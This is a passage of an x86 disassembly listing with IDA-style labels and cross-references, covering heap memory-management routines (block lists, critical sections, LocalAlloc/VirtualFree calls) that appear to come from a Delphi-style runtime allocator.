		mov	edx, [esp+14h+var_C]
		mov	eax, [esp+14h+var_10]
		call	sub_4014F8
		mov	eax, [esp+14h+var_14]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_40186F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4017DF:				; CODE XREF: sub_401754+32j
					; sub_401754+56j
		lea	ecx, [esp+14h+var_10]
		mov	edx, edi
		mov	eax, esi
		call	sub_401480
		cmp	[esp+14h+var_10], 0
		jz	short loc_401827
		lea	ecx, [esp+14h+var_8]
		lea	edx, [esp+14h+var_10]
		mov	eax, ebp
		call	sub_401318
		cmp	[esp+14h+var_8], 0
		jnz	loc_401773
		lea	ecx, [esp+14h+var_8]
		mov	edx, [esp+14h+var_C]
		mov	eax, [esp+14h+var_10]
		call	sub_4014F8
		mov	eax, [esp+14h+var_14]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_40186F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401827:				; CODE XREF: sub_401754+37j
					; sub_401754+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_401868
		cmp	edi, [ebx+0Ch]
		jg	short loc_401868
		mov	ecx, [esp+14h+var_14]
		mov	edx, edi
		mov	eax, ebp
		call	sub_4015B0
		mov	eax, [esp+14h+var_14]
		cmp	dword ptr [eax], 0
		jz	short loc_40186F
		mov	eax, [esp+14h+var_14]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+14h+var_14]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_40186F
		mov	eax, ebx
		call	sub_401300
		jmp	short loc_40186F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401868:				; CODE XREF: sub_401754+D8j
					; sub_401754+DDj
		mov	eax, [esp+14h+var_14]
		xor	edx, edx
		mov	[eax], edx

loc_40186F:				; CODE XREF: sub_401754+86j
					; sub_401754+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401754	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401878	proc near		; CODE XREF: sub_401C60+40p
					; sub_401C60+51p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+14h+var_14], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+14h+var_14]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_4018F9
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_401644
		lea	ecx, [esp+14h+var_10]
		mov	edx, edi
		mov	eax, offset unk_41E460
		call	sub_401318
		mov	ebx, [esp+14h+var_10]
		test	ebx, ebx
		jz	short loc_4018E2
		lea	ecx, [esp+14h+var_8]
		mov	edx, [esp+14h+var_C]
		mov	eax, ebx
		call	sub_4014F8
		mov	eax, [esp+14h+var_8]
		mov	[esp+14h+var_10], eax
		mov	eax, [esp+14h+var_4]
		mov	[esp+14h+var_C], eax

loc_4018E2:				; CODE XREF: sub_401878+49j
		cmp	[esp+14h+var_10], 0
		jz	short loc_4018FD
		lea	edx, [esp+14h+var_10]
		mov	eax, offset unk_41E460
		call	sub_40138C
		jmp	short loc_4018FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4018F9:				; CODE XREF: sub_401878+24j
		xor	eax, eax
		mov	[edi], eax

loc_4018FD:				; CODE XREF: sub_401878+6Fj
					; sub_401878+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401878	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_401904	proc near		; CODE XREF: sub_401FD8+14p
					; sub_402160+19p ...
		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset loc_4019BA
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset unk_41E430
		call	j_InitializeCriticalSection
		cmp	ds:byte_41E041,	0
		jz	short loc_401932
		push	offset unk_41E430
		call	j_EnterCriticalSection

loc_401932:				; CODE XREF: sub_401904+22j
		mov	eax, offset dword_41E450
		call	sub_4012C8
		mov	eax, offset unk_41E460
		call	sub_4012C8
		mov	eax, offset dword_41E48C
		call	sub_4012C8
		push	0FF8h
		push	0
		call	j_LocalAlloc
		mov	ds:dword_41E488, eax
		cmp	ds:dword_41E488, 0
		jz	short loc_401999
		mov	eax, 3

loc_40196F:				; CODE XREF: sub_401904+7Dj
		mov	edx, ds:dword_41E488
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_40196F
		mov	eax, offset unk_41E470
		mov	[eax+4], eax
		mov	[eax], eax
		mov	ds:dword_41E47C, eax
		mov	ds:byte_41E428,	1

loc_401999:				; CODE XREF: sub_401904+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4019C1

loc_4019A6:				; CODE XREF: CODE:004019BFj
		cmp	ds:byte_41E041,	0
		jz	short locret_4019B9
		push	offset unk_41E430
		call	j_LeaveCriticalSection

locret_4019B9:				; CODE XREF: sub_401904+A9j
		retn
sub_401904	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4019BA:				; DATA XREF: sub_401904+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4019A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4019C1:				; DATA XREF: sub_401904+9Do
		mov	al, ds:byte_41E428
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4019C8	proc near		; CODE XREF: sub_405818+2Dp
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	ds:byte_41E428,	0
		jz	loc_401AA5
		xor	edx, edx
		push	ebp
		push	offset loc_401A9E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_41E041,	0
		jz	short loc_4019FA
		push	offset unk_41E430
		call	j_EnterCriticalSection

loc_4019FA:				; CODE XREF: sub_4019C8+26j
		mov	ds:byte_41E428,	0
		mov	eax, ds:dword_41E488
		push	eax
		call	j_LocalFree
		xor	eax, eax
		mov	ds:dword_41E488, eax
		mov	ebx, ds:dword_41E450
		jmp	short loc_401A2D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401A1B:				; CODE XREF: sub_4019C8+6Bj
		push	8000h
		push	0
		mov	eax, [ebx+8]
		push	eax
		call	j_VirtualFree
		mov	ebx, [ebx]

loc_401A2D:				; CODE XREF: sub_4019C8+51j
		cmp	ebx, offset dword_41E450
		jnz	short loc_401A1B
		mov	eax, offset dword_41E450
		call	sub_4012C8
		mov	eax, offset unk_41E460
		call	sub_4012C8
		mov	eax, offset dword_41E48C
		call	sub_4012C8
		mov	eax, ds:dword_41E448
		test	eax, eax
		jz	short loc_401A73

loc_401A5C:				; CODE XREF: sub_4019C8+A9j
		mov	edx, [eax]
		mov	ds:dword_41E448, edx
		push	eax
		call	j_LocalFree
		mov	eax, ds:dword_41E448
		test	eax, eax
		jnz	short loc_401A5C

loc_401A73:				; CODE XREF: sub_4019C8+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401AA5

loc_401A80:				; CODE XREF: sub_4019C8+DBj
		cmp	ds:byte_41E041,	0
		jz	short loc_401A93
		push	offset unk_41E430
		call	j_LeaveCriticalSection

loc_401A93:				; CODE XREF: sub_4019C8+BFj
		push	offset unk_41E430
		call	j_DeleteCriticalSection
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401A9E:				; DATA XREF: sub_4019C8+14o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_401A80
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401AA5:				; CODE XREF: sub_4019C8+Bj
					; DATA XREF: sub_4019C8+B3o
		pop	ebx
		pop	ebp
		retn
sub_4019C8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401AA8	proc near		; CODE XREF: sub_401BB8+61p
					; sub_401C28+23p ...
		push	ebx
		cmp	eax, ds:dword_41E47C
		jnz	short loc_401ABA
		mov	edx, [eax+4]
		mov	ds:dword_41E47C, edx

loc_401ABA:				; CODE XREF: sub_401AA8+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_401B00
		cmp	eax, edx
		jnz	short loc_401AE3
		test	ecx, ecx
		jns	short loc_401AD3
		add	ecx, 3

loc_401AD3:				; CODE XREF: sub_401AA8+26j
		sar	ecx, 2
		mov	eax, ds:dword_41E488
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_401B07
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401AE3:				; CODE XREF: sub_401AA8+22j
		test	ecx, ecx
		jns	short loc_401AEA
		add	ecx, 3

loc_401AEA:				; CODE XREF: sub_401AA8+3Dj
		sar	ecx, 2
		mov	ebx, ds:dword_41E488
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401B00:				; CODE XREF: sub_401AA8+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx

loc_401B07:				; CODE XREF: sub_401AA8+39j
		pop	ebx
		retn
sub_401AA8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401B0C	proc near		; CODE XREF: sub_401C60+Dp
		mov	edx, ds:dword_41E48C
		jmp	short loc_401B24
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401B14:				; CODE XREF: sub_401B0C+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_401B22
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_401B38

loc_401B22:				; CODE XREF: sub_401B0C+Dj
		mov	edx, [edx]

loc_401B24:				; CODE XREF: sub_401B0C+6j
		cmp	edx, offset dword_41E48C
		jnz	short loc_401B14
		mov	ds:dword_41E42C, 3
		xor	edx, edx

loc_401B38:				; CODE XREF: sub_401B0C+14j
		mov	eax, edx
		retn
sub_401B0C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401B3C	proc near		; CODE XREF: sub_401C60+67p
					; sub_401DCC+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_401B59
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_401CF8
		pop	ebx
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401B59:				; CODE XREF: sub_401B3C+Cj
		cmp	edx, 4
		jl	short loc_401B6A
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx

loc_401B6A:				; CODE XREF: sub_401B3C+20j
		pop	ebx
		retn
sub_401B3C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401B6C	proc near		; CODE XREF: sub_401B90+Dp
					; sub_401D80+36p ...
		inc	ds:dword_41E41C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_41E420, edx
		call	sub_402160
		retn
sub_401B6C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401B90	proc near		; CODE XREF: sub_401C60+81p
		cmp	edx, 0Ch
		jl	short loc_401BA3
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_401B6C
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401BA3:				; CODE XREF: sub_401B90+3j
		cmp	edx, 4
		jl	short loc_401BB2
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx

loc_401BB2:				; CODE XREF: sub_401B90+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_401B90	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401BB8	proc near		; CODE XREF: sub_401DCC+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_401BDB
		mov	ds:dword_41E42C, 4

loc_401BDB:				; CODE XREF: sub_401BB8+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_401BFB
		mov	ds:dword_41E42C, 5

loc_401BFB:				; CODE XREF: sub_401BB8+37j
		test	byte ptr [ecx],	1
		jz	short loc_401C20
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_401C19
		mov	ds:dword_41E42C, 6

loc_401C19:				; CODE XREF: sub_401BB8+55j
		call	sub_401AA8
		add	ebx, esi

loc_401C20:				; CODE XREF: sub_401BB8+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_401BB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401C28	proc near		; CODE XREF: sub_401DCC+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_401C43
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]

loc_401C43:				; CODE XREF: sub_401C28+Ej
		test	al, 2
		jnz	short loc_401C5A
		mov	esi, ebx
		mov	eax, esi
		call	sub_401AA8
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh

loc_401C5A:				; CODE XREF: sub_401C28+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401C28	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401C60	proc near		; CODE XREF: sub_401CF8+61p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	edi, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_401B0C
		mov	ebx, eax
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_401C8C
		mov	edi, eax
		sub	edi, esi

loc_401C8C:				; CODE XREF: sub_401C60+26j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_401CA7
		mov	ecx, esp
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_401878
		jmp	short loc_401CB6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401CA7:				; CODE XREF: sub_401C60+33j
		mov	ecx, esp
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_401878

loc_401CB6:				; CODE XREF: sub_401C60+45j
		mov	ebp, [esp+8+var_8]
		test	ebp, ebp
		jnz	short loc_401CC1
		xor	eax, eax
		jmp	short loc_401CF1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401CC1:				; CODE XREF: sub_401C60+5Bj
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_401B3C
		mov	eax, ebp
		add	eax, [esp+8+var_4]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_401CE6
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_401B90

loc_401CE6:				; CODE XREF: sub_401C60+7Aj
		mov	edx, esp
		mov	eax, ebx
		call	sub_40138C
		mov	al, 1

loc_401CF1:				; CODE XREF: sub_401C60+5Fj
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401C60	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401CF8	proc near		; CODE XREF: sub_401B3C+16p
					; sub_401EE4+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_401D4D
		mov	edx, esi
		test	edx, edx
		jns	short loc_401D1F
		add	edx, 3

loc_401D1F:				; CODE XREF: sub_401CF8+22j
		sar	edx, 2
		mov	eax, ds:dword_41E488
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_401D3F
		mov	eax, ds:dword_41E488
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_401D79
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401D3F:				; CODE XREF: sub_401CF8+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_401D79
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401D4D:				; CODE XREF: sub_401CF8+1Cj
		cmp	esi, 3C00h
		jl	short loc_401D62
		mov	edx, esi
		mov	eax, edi
		call	sub_401C60
		test	al, al
		jnz	short loc_401D79

loc_401D62:				; CODE XREF: sub_401CF8+5Bj
		mov	eax, ds:dword_41E47C
		mov	ds:dword_41E47C, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx

loc_401D79:				; CODE XREF: sub_401CF8+45j
					; sub_401CF8+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401CF8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401D80	proc near		; CODE XREF: sub_401DCC+Fp
					; sub_402160+100p ...
		cmp	ds:dword_41E480, 0
		jle	short locret_401DC9
		cmp	ds:dword_41E480, 0Ch
		jge	short loc_401D9E
		mov	ds:dword_41E42C, 7
		jmp	short locret_401DC9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401D9E:				; CODE XREF: sub_401D80+10j
		mov	eax, ds:dword_41E480
		or	eax, 2
		mov	edx, ds:dword_41E484
		mov	[edx], eax
		mov	eax, ds:dword_41E484
		add	eax, 4
		call	sub_401B6C
		xor	eax, eax
		mov	ds:dword_41E484, eax
		xor	eax, eax
		mov	ds:dword_41E480, eax

locret_401DC9:				; CODE XREF: sub_401D80+7j
					; sub_401D80+1Cj
		retn
sub_401D80	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401DCC	proc near		; CODE XREF: sub_401E58+18p
					; sub_401E84+1Dp

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+10h+var_10]
		movsd
		movsd
		mov	edi, esp
		call	sub_401D80
		lea	ecx, [esp+10h+var_8]
		mov	edx, edi
		mov	eax, offset dword_41E48C
		call	sub_401318
		mov	ebx, [esp+10h+var_8]
		test	ebx, ebx
		jnz	short loc_401DFC
		xor	eax, eax
		jmp	short loc_401E4E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401DFC:				; CODE XREF: sub_401DCC+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_401E0C
		call	sub_401BB8
		sub	[edi], eax
		add	[edi+4], eax

loc_401E0C:				; CODE XREF: sub_401DCC+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+10h+var_4]
		cmp	eax, esi
		jnb	short loc_401E23
		call	sub_401C28
		add	[edi+4], eax

loc_401E23:				; CODE XREF: sub_401DCC+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_401E3D
		sub	eax, 4
		mov	edx, 4
		call	sub_401B3C
		sub	dword ptr [edi+4], 4

loc_401E3D:				; CODE XREF: sub_401DCC+5Ej
		mov	eax, [edi]
		mov	ds:dword_41E484, eax
		mov	eax, [edi+4]
		mov	ds:dword_41E480, eax
		mov	al, 1

loc_401E4E:				; CODE XREF: sub_401DCC+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401DCC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401E58	proc near		; CODE XREF: sub_401EE4+57p

var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_4016C4
		cmp	[esp+8+var_8], 0
		jz	short loc_401E79
		mov	eax, esp
		call	sub_401DCC
		test	al, al
		jnz	short loc_401E7D

loc_401E79:				; CODE XREF: sub_401E58+14j
		xor	eax, eax
		jmp	short loc_401E7F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401E7D:				; CODE XREF: sub_401E58+1Fj
		mov	al, 1

loc_401E7F:				; CODE XREF: sub_401E58+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401E58	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401E84	proc near		; CODE XREF: sub_402304+199p

var_8		= dword	ptr -8

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_401754
		cmp	[esp+8+var_8], 0
		jz	short loc_401EAA
		mov	eax, esp
		call	sub_401DCC
		test	al, al
		jnz	short loc_401EAE

loc_401EAA:				; CODE XREF: sub_401E84+19j
		xor	eax, eax
		jmp	short loc_401EB0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401EAE:				; CODE XREF: sub_401E84+24j
		mov	al, 1

loc_401EB0:				; CODE XREF: sub_401E84+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401E84	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401EB8	proc near		; CODE XREF: sub_401EE4+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_401EC1
		add	eax, 3

loc_401EC1:				; CODE XREF: sub_401EB8+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_401EE1

loc_401ECB:				; CODE XREF: sub_401EB8+27j
		mov	edx, ds:dword_41E488
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_401EE1
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401ECB

loc_401EE1:				; CODE XREF: sub_401EB8+11j
					; sub_401EB8+1Fj
		mov	eax, edx
		retn
sub_401EB8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_401EE4	proc near		; CODE XREF: sub_401FD8+14Bp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset dword_41E47C
		mov	ebp, offset dword_41E480

loc_401EF4:				; CODE XREF: sub_401EE4+6Aj
		mov	ebx, ds:dword_41E474
		cmp	esi, [ebx+8]
		jle	loc_401F87
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_401F87
		mov	[ebx+8], esi

loc_401F0F:				; CODE XREF: sub_401EE4+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_401F0F
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_401F24
		mov	[edi], ebx
		jmp	short loc_401F87
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401F24:				; CODE XREF: sub_401EE4+3Aj
		cmp	esi, 1000h
		jg	short loc_401F39
		mov	eax, esi
		call	sub_401EB8
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_401F87

loc_401F39:				; CODE XREF: sub_401EE4+46j
		mov	eax, esi
		call	sub_401E58
		test	al, al
		jnz	short loc_401F4B
		xor	eax, eax
		jmp	loc_401FD3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401F4B:				; CODE XREF: sub_401EE4+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_401EF4
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_401F61
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax

loc_401F61:				; CODE XREF: sub_401EE4+73j
		mov	eax, ds:dword_41E484
		add	ds:dword_41E484, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_41E41C
		sub	esi, 4
		add	ds:dword_41E420, esi
		jmp	short loc_401FD3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401F87:				; CODE XREF: sub_401EE4+19j
					; sub_401EE4+26j ...
		mov	eax, ebx
		call	sub_401AA8
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_401FA6
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_401CF8
		jmp	short loc_401FB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_401FA6:				; CODE XREF: sub_401EE4+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_401FB1
		mov	eax, [ebx+4]
		mov	[edi], eax

loc_401FB1:				; CODE XREF: sub_401EE4+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh

loc_401FB8:				; CODE XREF: sub_401EE4+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_41E41C
		sub	esi, 4
		add	ds:dword_41E420, esi

loc_401FD3:				; CODE XREF: sub_401EE4+62j
					; sub_401EE4+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401EE4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_401FD8	proc near		; CODE XREF: sub_4024D4+5Cp
					; sub_402598+4j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
